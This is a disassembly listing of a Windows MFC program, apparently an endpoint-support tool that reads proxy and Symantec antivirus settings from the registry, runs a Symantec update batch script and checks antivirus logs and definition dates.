call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x280]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb9c
xor r8d, r8d
lea rdx, str.matchreg
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a97c9
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1eb0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1eb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1eb8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1eb8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x3e8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14016c678]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + 0x1ec0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x3e8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ec0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1ec8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ec8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x290]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14016c678]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + reloc.mfc140u.dll_CDC::HIMETRICtoDP]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x290]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CDC::HIMETRICtoDP]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1ed8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ed8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xcd0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x290]
call fcn.14000d8d0
test al, al
jne 0x1400a96c8
call fcn.1400f2f00
test al, al
lea rdx, [rsp + 0x290]
je 0x1400a96d0
lea rdx, [rsp + 0x3e8]
lea rcx, [rsp + 0xcd0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rcx, [rsp + 0x288]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [rsp + 0x3e8]
lea rcx, [rsp + 0x1ee0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x288]
mov rcx, rax
call fcn.1400f1420
test eax, eax
jne 0x1400a9789
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
lea rcx, [rsp + 0x288]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
sete sil
test eax, eax
je 0x1400a9789
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x1ee8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x288]
mov rcx, rax
call fcn.1400f1420
test eax, eax
jne 0x1400a9789
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
lea rcx, [rsp + 0x288]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
sete sil
lea rcx, [rsp + 0x288]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xcd0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x290]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.RunScriptForMozilla
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a9ad5
lea rcx, [rsp + 0x208]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsProxyServer
lea rcx, [rsp + 0xce0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0xce0]
lea rcx, [rsp + reloc.mfc140u.dll_CMDIFrameWndEx::HtmlHelpW]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x208]
mov rcx, rax
call fcn.1400f1420
lea r8, [0x140150ad0]
lea rdx, str.:4145
lea rcx, [rsp + 0x208]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rcx, [rsp + 0x208]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rax, [rsp + 0x1ef8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x1ef8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Proxy_address_read_from_registry_to_be_set_in_Mozilla_Proxy
lea rcx, [rsp + 0x1f00]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x298]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1f08]
lea rcx, [rsp + 0x298]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x298]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1f08]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + 0xcd8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1f18]
call fcn.1400fe460
nop
lea r8, [rsp + 0xcd8]
mov rdx, rax
lea rcx, [rsp + 0x1f10]
call fcn.140006490
nop
lea r8, [rsp + 0x298]
mov rdx, rax
lea rcx, [rsp + 0x6e0]
call fcn.140006490
nop
lea rcx, [rsp + 0x1f10]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1f18]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xcd8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor edx, edx
lea r8d, [rdx + 0x58]
lea rcx, [rsp + 0x2388]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x2370], 0x70
mov dword [rsp + 0x2374], 0x40
xor r14d, r14d
mov qword [rsp + 0x2378], r14
mov qword [rsp + COleClientItem::OnChangeItemPosition], r14
lea rcx, [rsp + 0x6e0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov qword [rsp + 0x2388], rax
lea rcx, [rsp + 0x208]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov qword [rsp + 0x2390], rax
mov qword [rsp + 0x2398], r14
mov dword [rsp + 0x23a0], r14d
mov qword [rsp + 0x23a8], r14
lea rcx, [rsp + 0x2370]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x1f20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0x1f28]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov r8, rbx
mov dl, 1
mov rcx, rax
call fcn.1400f59c0
nop
lea rcx, [rsp + 0x6e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x298]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xce0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x208]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, str.symantecUpdatePolicy
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a9e61
mov sil, 1
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1f30]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1f30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1f38]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1f38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.HKEY_LOCAL_MACHINESOFTWARESymantecSymantec_Endpoint_ProtectionCurrentVersionpublic_opstateLatestVirusDefsDate
lea rcx, [rsp + 0xcf0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [rsp + 0xcf0]
lea rcx, [rsp + 0x1f40]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x98]
mov rcx, rax
call fcn.1400f1420
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rax, [rsp + 0x1f48]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x1f48]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.last_updated_date_read_from_registry
lea rcx, [rsp + 0x1f50]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rax, [rsp + 0x1f58]
mov qword [rsp + 0x58], rax
lea rdx, str.Symantec_is_up_to_date.Current_Virus_Definition_is
lea rcx, [rsp + 0xce8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x98]
lea rdx, [rsp + 0xce8]
lea rcx, [rsp + 0x1f58]
call fcn.140006490
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa30
nop
lea rcx, [rsp + 0xce8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x2d
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov ebx, eax
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1f60]
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov r14d, eax
lea rcx, [rsp + 0x1f60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov r8d, ebx
lea rdx, [rsp + 0x1f68]
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1f68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x2d
xor r8d, r8d
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CPaneFrameWnd::EnterDragMode]
mov ebx, eax
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1f70]
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov edi, eax
lea rcx, [rsp + 0x1f70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov r8d, ebx
lea rdx, [rsp + 0x1f78]
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1f78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov ebx, eax
lea rcx, [rsp + 0x1f80]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rsp + 0x1f80]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov r8d, dword [rax + 0xc]
mov edx, dword [rax + 0x10]
inc edx
mov ecx, dword [rax + 0x14]
add ecx, 0x76c
cmp ebx, ecx
jne 0x1400a9e3f
sub edx, edi
cmp edx, 1
jg 0x1400a9e3f
sub r8d, r14d
movzx esi, sil
xor r14d, r14d
cmp r8d, 7
cmovg esi, r14d
lea rcx, [rsp + 0x98]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xcf0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, [0x14016f8b8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aa516
xor sil, sil
mov byte [rsp + 0x78], sil
lea rdx, str.AnakageFilesVBScriptsSymantecManualUpdate.bat
lea rcx, [rsp + 0xcf8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1f88]
call fcn.1400fe460
nop
lea r8, [rsp + 0xcf8]
mov rdx, rax
lea rcx, [rsp + 0xd30]
call fcn.140006490
nop
lea rcx, [rsp + 0x1f88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xcf8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x1f90]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [rsp + 0xd30]
lea rcx, [rsp + 0x1f98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140109110
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x1fa0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rsp + 0x1fa0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov r9, rax
lea r8, [0x14015f1b0]
mov edx, 0x50
lea rcx, [rsp + 0xf6b0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, [rsp + 0xf6b0]
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str..Log
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.mfc140u.dll_COleCurrency::operator]
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0x6f8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x200]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.HKEY_LOCAL_MACHINESOFTWARESymantecSymantec_Endpoint_ProtectionCurrentVersionPRODUCTVERSION
lea rcx, [rsp + 0x6f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x1fa8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x200]
mov rcx, rax
call fcn.1400f1420
lea rdx, str..105
lea rcx, [rsp + 0x200]
call qword [sym.imp.mfc140u.dll_COleCurrency::operator]
lea rcx, [rsp + 0x200]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rax, [rsp + 0x1fb0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x1fb0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Symantec_Version_from_registry
lea rcx, [rsp + 0x1fb8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, [0x140150830]
lea rcx, [rsp + 0xd10]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.DataLogsAV_
lea rcx, [rsp + 0xd08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str._C:ProgramDataSymantecSymantec_Endpoint_Protection_
lea rcx, [rsp + 0xd00]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x200]
lea rdx, [rsp + 0xd00]
lea rcx, [rsp + 0x1fd0]
call fcn.140006490
nop
lea r8, [rsp + 0xd08]
mov rdx, rax
lea rcx, [rsp + 0x1fc8]
call fcn.140006490
nop
lea r8, [rsp + 0x3f0]
mov rdx, rax
lea rcx, [rsp + 0x1fc0]
call fcn.140006490
nop
lea r8, [rsp + 0xd10]
mov rdx, rax
lea rcx, [rsp + 0x6f0]
call fcn.140006490
nop
lea rcx, [rsp + 0x1fc0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1fc8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1fd0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd00]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd08]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd10]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x6f0]
lea rcx, [rsp + 0x1fd8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Symantec_log_file_name
lea rcx, [rsp + 0x1fe0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, [0x140150ad0]
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, str.more
lea rcx, [rsp + 0xd18]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x6f0]
lea rdx, [rsp + 0xd18]
lea rcx, [rsp + 0x1fe8]
call fcn.140006490
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1ff0]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ff0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd18]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1ff8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x1ff8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Symantec_log_content
lea rcx, [rsp + 0x2000]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, str.Risks:_0
lea rcx, [rsp + 0x700]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x6e8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r14d, r14d
nop dword [rax + rax]
lea rcx, [rsp + 0x700]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov edi, eax
cmp eax, 0xffffffff
jne 0x1400aa488
test r14d, r14d
jle 0x1400aa40b
